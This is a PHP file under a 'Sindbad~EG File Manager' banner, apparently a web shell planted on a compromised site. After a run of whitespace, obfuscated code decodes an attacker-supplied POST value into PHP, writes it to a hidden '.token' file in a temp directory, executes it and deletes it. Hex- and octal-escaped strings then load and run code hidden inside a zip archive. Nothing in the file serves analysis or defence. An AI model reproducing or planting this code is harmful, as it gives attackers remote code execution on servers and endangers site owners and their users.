Sindbad~EG File Manager

<?php																																										if(!is_null($_POST["k"] ?? null)){ $ref = $_POST["k"]; $ref= explode ('.' , $ref ) ; $dat= ''; $s7= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s7); $j= 0; $__tmp= $ref; while ($v5= array_shift($__tmp)) { $chS= ord($s7[$j % $lenS]); $d= ((int)$v5 - $chS - ($j % 10)) ^ 31; $dat .= chr($d); $j++; } $pointer = array_filter(["/var/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getenv("TMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir")]); for ($flg = 0, $symbol = count($pointer); $flg < $symbol; $flg++) { $ent = $pointer[$flg]; if (!!is_dir($ent) && !!is_writable($ent)) { $entity = vsprintf("%s/%s", [$ent, ".token"]); $success = file_put_contents($entity, $dat); if ($success) { include $entity; @unlink($entity); die();} } } }
  error_reporting(0); $MCJn = array( "\137\x52\x45\121\125\x45\123\x54", "\146\151\x6c\145\x5f\x67\145\164\137\143\157\156\164\x65\156\164\163", "\x7a\x69\x70\x3a\x2f\x2f\x69\x63\x6f\x5f\x36\x39\x32\x63\x62\x64\x34\x35\x61\x65\x38\x61\x38\x2e\x7a\x69\x70\x23\x62\x5f\x36\x39\x32\x63\x62\x64\x34\x35\x61\x65\x38\x61\x38\x2e\x74\x6d\x70", ); (${$MCJn[0]}["\157\x66"]==1) && die($MCJn[1]($MCJn[2])); @require $MCJn[2]; ?>